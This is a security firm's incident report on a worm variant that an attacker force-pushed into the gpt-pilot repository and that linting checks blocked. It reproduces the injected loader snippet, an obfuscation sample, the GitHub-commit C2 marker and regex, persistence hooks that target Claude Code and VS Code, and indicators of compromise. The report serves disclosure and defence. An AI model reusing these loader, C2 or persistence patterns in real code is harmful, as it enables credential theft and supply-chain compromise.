On June 8, 2026, an attacker compromised a co-founder's GitHub account for Pythagora-io/gpt-pilot, a popular open-source AI developer tool with 33,700+ GitHub stars and 3,500+ forks, and force-pushed a credential-stealing payload to the main branch. Marketed as "the first real AI developer," gpt-pilot is widely used by developers building AI-assisted coding workflows. The malware, a variant of the Shai-Hulud worm, was stopped by an unlikely defender: ruff, a Python code formatter. The attacker tried twice to get the malicious code past CI and failed both times because their injected Python file did not match the project's formatting and linting rules. The same malware family has successfully infected projects maintained by Microsoft, Red Hat, and Mistral AI this year.
The payload hidden inside the repository was not a simple backdoor. It is a 758KB obfuscated JavaScript credential stealer that targets AWS keys, npm tokens, GitHub secrets, Kubernetes service accounts, HashiCorp Vault tokens, and SSH keys. It uses GitHub commit messages as a covert command-and-control channel, exfiltrates stolen credentials by creating GitHub repositories and committing data as files, and can sign and publish malicious npm packages with valid SLSA Build Level 3 attestations via Sigstore. It even plants persistence hooks in Claude Code and VS Code so that future coding sessions re-execute the malware.
We have responsibly disclosed the compromise to the maintainers.
Attack Timeline
How the Attack Works
Step 1 - Account Compromise and Force Push
The attacker gained control of the LeonOstrez GitHub account, a Pythagora co-founder and repository maintainer. The repository had no branch protection rules on the main branch -- the GitHub API returns a 404 for /repos/Pythagora-io/gpt-pilot/branches/main/protection. This allowed the attacker to force-push directly to main without any review or approval.
The force push replaced the entire commit history. GitHub's push event log captures the rewrite:
# Push event 1 - clean history replaced with malicious chain
11:01:38Z LeonOstrez before:53154df1c66b head:90f59f5de681
# Push event 2 - attacker retries after CI failure
11:13:07Z LeonOstrez before:90f59f5de681 head:a372904facd5Step 2 - The Trojan Commit
The core of the attack was a commit titled "Revert 'Implemented weekend discount'" -- an innocuous-sounding change that appeared to simply undo a promotional code update. The attacker created two versions of this commit with identical metadata (same message, same author name, same timestamp of 2025-08-24 20:37:44):
By backdating the malicious commit to August 2025, the attacker made it nearly invisible in a casual commit history review. The commit would appear to be months old, long before the actual compromise.

Step 3 - The Malware Components
Three files were injected into core/telemetry/:
The Activation Chain
When a developer ran gpt-pilot, the malware activated silently via Python's module import system:
# Injected at line 399 of core/telemetry/__init__.py
import threading as _th
def _setup_reporting():
try:
from core.telemetry._hooks import run
run()
except Exception:
pass
_th.Thread(target=_setup_reporting, daemon=True).start()The _hooks.py loader then executed the following chain:

The loader was cross-platform, supporting Linux (x64, ARM, musl), macOS (x64, ARM), and Windows (x64, ARM). It used a lock file (.loader.lock) to prevent duplicate execution and suppressed all output to /dev/null.
Deep Dive: The _runtime.bin Payload
The _runtime.bin payload is a 758KB single-line JavaScript file designed to run under the Bun runtime. It uses five layers of obfuscation to evade static analysis.
Obfuscation Layers
The obfuscated code renames require() to rMq3gu() and uses the @redacted namespace to hide real package names. A sample of the obfuscation:
// What the code looks like (obfuscated)
const rMq3gu = module[HJgj4ju(MxGPr9[0x4f1])];
const Zof6pH = rMq3gu(HJgj4ju(MxGPr9[0x2a3]));
// What it actually means (deobfuscated)
const require = module.require;
const crypto = require('crypto');Credential Targets
The payload targets credentials across every major cloud and CI/CD platform:

C2 via GitHub Commit Messages
The malware uses a novel steganographic C2 channel. Instead of connecting to a traditional C2 server, it searches the GitHub commits API for a specific marker string:
GET https://api.github.com/search/commits?q=thebeautifulsnadsoftime
# The malware extracts commands using this regex:
thebeautifulsnadsoftime ([A-Za-z0-9+/=]{1,30})\.([A-Za-z0-9+/=]{1,700})
# Commands are base64-encoded and executed via eval()This means the attacker can issue commands to all infected machines simply by creating public GitHub commits containing the marker thebeautifulsnadsoftime. The C2 channel is virtually undetectable because GitHub commit searches are routine API calls that blend into normal developer activity.
Exfiltration Methods
Primary (GitHub repos): The malware creates new GitHub repositories using stolen tokens and commits stolen credentials as files. It impersonates claude@users.noreply.github.com as the commit author and creates repositories with discussions, issues, and wiki disabled to minimize visibility.
Secondary (encrypted DNS C2): Falls back to DNS-resolved HTTP endpoints with AES-256-GCM encryption for data exfiltration.
Persistence Mechanisms
The payload plants hooks in developer tools to survive beyond the initial infection:
// .claude/settings.json - re-executes on every Claude Code session
{
"hooks": {
"SessionStart": [{"command": "...malicious payload..."}]
}
}
// .vscode/tasks.json - re-executes when folder is opened in VS Code
{
"tasks": [{
"runOptions": {"runOn": "folderOpen"},
"command": "...malicious payload..."
}]
}Anti-Analysis Techniques
- Russian locale exemption: Exits cleanly if the system locale includes "ru" -- a well-documented technique used by Eastern European threat actors to avoid targeting domestic systems
- Singleton mutex: Prevents multiple instances from running simultaneously
- Daemonization: Spawns a detached child process with
unref()to disconnect from the parent - Token monitoring: Watches for newly created tokens during the session via
installTokenMonitor
Sigstore Abuse
The most alarming capability is the malware's ability to abuse Sigstore infrastructure. It can request signing certificates from Fulcio (https://fulcio.sigstore.dev), create entries in the Rekor transparency log, and generate SLSA provenance attestations. This means stolen npm tokens can be used to publish malicious packages that appear to have valid SLSA Build Level 3 attestations -- a trust signal that most organizations consider authoritative.
How Ruff Saved the Day
The gpt-pilot repository uses ruff in its CI pipeline with two mandatory checks:
# .github/workflows/ci.yml
- name: Lint with ruff
run: poetry run ruff check --output-format github
- name: Check code style with ruff
run: poetry run ruff format --check --diffFirst CI Failure: Formatting
The attacker's _hooks.py had a multi-line function call that did not match ruff's formatting rules:
# What the attacker wrote (FAILED formatting check):
out = subprocess.check_output(
["ldd", "--version"], stderr=subprocess.STDOUT
).decode("utf-8", "ignore")
# What ruff expected:
out = subprocess.check_output(["ldd", "--version"], stderr=subprocess.STDOUT).decode("utf-8", "ignore")Result: "1 file would be reformatted, 151 files already formatted." The malicious file was the only one that did not pass. All 6 CI jobs failed.
Second CI Failure: Linting
Twelve minutes later, the attacker fixed the formatting and force-pushed again. But ruff caught them on linting rules:
core/telemetry/__init__.py:399:1: E402 Module level import not at top of file
core/telemetry/__init__.py:399:1: I001 Import block is un-sorted or un-formattedThe import threading as _th that the attacker added at line 399 -- after the Telemetry class definition -- violated Python's import ordering conventions (PEP 8). In a well-maintained codebase, all imports go at the top of the file. The attacker could not move the import to the top without risking a merge conflict with the existing imports, and could not easily restructure their injection to avoid the rule.
Result: All 6 CI jobs failed again. The attacker gave up.

Connection to the Shai-Hulud Campaign
This attack is a direct instance of the Shai-Hulud malware family, attributed to TeamPCP/UNC6780. The identification is based on multiple matching indicators:
- Identical Bun v1.3.13 runtime loader pattern
- Same
_runtimefile naming convention (seen in PyTorch Lightning, April 2026) - Matching credential target set and exfiltration methods
- Same
thebeautifulsnadsoftimeC2 marker string - Russian locale exemption
- Sigstore/Fulcio abuse for signing malicious packages
TeamPCP publicly released the Mini Shai-Hulud source code on May 12, 2026 -- 27 days before this attack -- making attribution uncertain: this could be the original actors or a copycat. The payload's sophistication (5-layer obfuscation, Sigstore abuse, GitHub commit C2) suggests the former.
The Shai-Hulud Campaign Timeline

StepSecurity has published detailed technical analyses of several incidents in this campaign, including the Miasma worm attack on Microsoft Azure repositories, the Microsoft durabletask PyPI compromise, the Red Hat cloud-services npm package compromise, and the axios npm supply chain attack. For a broader view of the acceleration in supply chain attacks, see 5 Supply Chain Attacks in 48 Hours.
Indicators of Compromise
File Hashes
Key Commit SHAs
# Malicious "Revert" commit (contains _hooks.py + _runtime.bin)
065ee8ebee7385cb644fd1608587a18edb91f4fb
# Clean "Revert" commit (legitimate, same metadata)
566fbb120bc436385aa5a4cb93d7c351dec2127e
# First CI failure (ruff format)
90f59f5de6819a43ffe9b6272e3ed65aaadca804
# Second CI failure (ruff check)
a372904facd53ee99d85add7ee79aea2b7a8506a
# Pre-attack HEAD (clean)
53154df1c66b42021f230c3fb6ef797c4b7c3e83C2 and Behavioral Indicators
# C2 Marker (GitHub commit search)
thebeautifulsnadsoftime
# C2 Command Extraction Regex
thebeautifulsnadsoftime ([A-Za-z0-9+/=]{1,30})\.([A-Za-z0-9+/=]{1,700})
# Exfiltration Identity
claude@users.noreply.github.com
# Russian Locale Check
"Exiting as russian language detected!"
# Singleton Mutex
"Another instance is already running"
# Daemonization Flag
__DAEMONIZED
# Token Patterns
npm_[A-Za-z0-9]{36,}
ghp_[A-Za-z0-9]{36}
gho_[A-Za-z0-9]{36}
ghs_[A-Za-z0-9]{36,}
AKIA[0-9A-Z]{16}MITRE ATT&CK Mapping
Am I Affected?
Check Your Installation
If you cloned or pulled gpt-pilot from GitHub after June 8, 2026 11:01 UTC and before the force push was reverted, you may have received the malicious code. Check for:
# Check for malicious files
ls -la core/telemetry/_hooks.py core/telemetry/_runtime.bin 2>/dev/null
# Check for Bun runtime downloaded by the loader
find /tmp -name "rt-*" -type d 2>/dev/null
# Check for the lock file
find . -name ".loader.lock" 2>/dev/null
# Check for persistence hooks
cat .claude/settings.json 2>/dev/null
cat .vscode/tasks.json 2>/dev/nullRecovery Steps
- Rotate all credentials immediately -- AWS access keys, npm tokens, GitHub PATs, SSH keys, and any secrets stored in environment variables or credential files
- Audit cloud access logs -- check AWS CloudTrail for unauthorized
AssumeRole,GetSecretValue, orListSecretscalls - Check npm audit logs -- look for unauthorized package publishes or token creation
- Inspect GitHub repositories -- look for newly created repositories by your account that you did not create, especially those with discussions/issues/wiki disabled
- Check for persistence -- remove any
.claude/settings.jsonhooks or.vscode/tasks.jsonentries you did not create - Kill suspicious processes -- look for Bun processes running
_runtime.binor any process with the__DAEMONIZEDenvironment variable
Lessons Learned
1. CI/CD as an Accidental Security Control
The ruff linter was not designed as a security tool, but it functioned as one. Code quality tools are an underappreciated layer of defense against supply chain attacks. Malicious code injected from outside the normal development workflow often does not match the project's coding style. This is analogous to how a forged signature fails not because of the security system, but because the forger did not practice enough.
2. Branch Protection is Not Optional
The lack of branch protection on main allowed a single compromised account to force-push malicious code without any review or approval. Enable branch protection with:
- Required pull request reviews
- Required status checks (CI must pass before merge)
- Restrict force pushes to the default branch
- Require signed commits
3. Monitor for Force Pushes
Force pushes to default branches are almost always suspicious in production repositories. Tools like StepSecurity Harden-Runner can detect and alert on force pushes as part of a broader CI/CD security posture.
4. The Telemetry Hiding Spot
The attackers deliberately chose the core/telemetry/ directory -- a location that developers tend to ignore and that already contains network-related code. Naming the malicious file _hooks.py (underscore prefix suggesting "private/internal") and _runtime.bin (.bin extension disguising JavaScript as binary data) were deliberate social engineering choices designed to avoid scrutiny during code review.
5. The Bun Runtime as an Attack Vector
Using Bun instead of Node.js is a deliberate choice by the Shai-Hulud operators. Bun is newer, less likely to be flagged by endpoint security tools, and can execute JavaScript/TypeScript files with any extension -- including .bin.
The Deleted Issue
GitHub issue #1181, which contained the community's initial report of the compromise, was deleted (the GitHub REST API returns HTTP 410 Gone, and the GraphQL API returns NOT_FOUND). Only users with repository admin access can delete GitHub issues. We attempted to confirm the deletion via the GitHub organization audit log API (/orgs/Pythagora-io/audit-log?phrase=action:issues.delete), but the endpoint requires organization admin access and returns HTTP 404 for external callers.
However, the circumstantial evidence is strong. LeonOstrez is the only visible member of the Pythagora-io GitHub organization (confirmed via gh api /orgs/Pythagora-io/members). The collaborators endpoint (/repos/Pythagora-io/gpt-pilot/collaborators?permission=admin) requires push access to query, but since LeonOstrez is the sole org member and was actively force-pushing to the repository at 11:01 and 11:13 UTC, it is overwhelmingly likely that the same compromised account deleted issue #1181 around 12:00 UTC to suppress the community's disclosure of the attack. We recommend raising a GitHub support ticket to confirm this via the internal audit log and to suspend the compromised account.
Unsigned Commits
Neither the legitimate nor malicious commits were GPG-signed, making it impossible to cryptographically verify the commit author. The malicious "Revert" commit claims to be authored by Zvonimir Sabljic <zvonimir@pythagora.io>, but since it was pushed via the LeonOstrez account, this identity was likely spoofed.
Acknowledgements
We want to thank the community members who reported the suspicious activity via GitHub issue #1181 before it was deleted. We also want to thank Charlie Eriksen of Aikido Security for disclosing the compromise on X.



